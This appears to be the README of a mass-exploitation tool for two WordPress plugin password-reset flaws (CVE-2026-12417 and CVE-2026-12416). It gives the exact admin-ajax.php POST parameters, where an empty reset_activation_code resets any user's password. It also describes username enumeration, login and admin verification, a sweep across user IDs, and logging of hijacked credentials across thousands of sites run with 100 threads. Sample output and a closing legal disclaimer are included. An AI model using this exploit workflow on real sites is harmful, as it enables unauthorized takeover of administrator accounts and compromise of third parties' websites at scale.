
Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter | Unauthenticated Privilege Escalation via Weak Password Reset Validation via 'reset_activation_code' Leading to Account Takeover
Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter | Unauthenticated Privilege Escalation via Weak Password Reset Validation via 'reset_activation_code' Leading to Account Takeover
By: Khaled Alenazi (Nxploited)
Unauthenticated Privilege Escalation via Weak Password Reset Validation
| Field | Value |
|---|---|
| CVSS | 9.8 Critical |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Published | June 23, 2026 |
| Researcher | Alyudin Nafiie |
The pravel_change_password() function is registered as a wp_ajax_nopriv handler — accessible without authentication. It performs no nonce verification and no capability check. The only guard is a loose equality comparison between the attacker-supplied reset_activation_code and the user's forgot_email meta value. For any user who has never triggered a password reset, get_user_meta() returns an empty string, which trivially satisfies '' == '' against an omitted or empty code. An unauthenticated attacker can therefore send a crafted POST to admin-ajax.php with action=pravel_change_password, reset_user_id set to any user ID (including administrator accounts), and new_password_custom set to an arbitrary password — achieving full account takeover.
Unauthenticated Account Takeover via Weak Password Reset Validation
| Field | Value |
|---|---|
| CVSS | 9.8 Critical |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Published | June 23, 2026 |
| Researcher | Alyudin Nafiie |
The pravel_invoice_change_password() function is likewise exposed as a nopriv AJAX handler with no nonce and no authorization check. The same '' == '' bypass applies: supplying an empty reset_activation_code against an administrator who has never used the forgot-password flow grants immediate password reset. The attacker controls the target via reset_user_id and the new credential via new_password_custom.
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
Terminal:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
Results file (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
Requirements:
pip install requests rich colorama urllib3
This tool is provided for authorized security research and penetration testing only.
Use against systems you do not own or have explicit written permission to test is illegal.
The author assumes no liability for any misuse or damage caused by this tool.
All CVE details are sourced from public vulnerability databases.
By: Khaled Alenazi (Nxploited)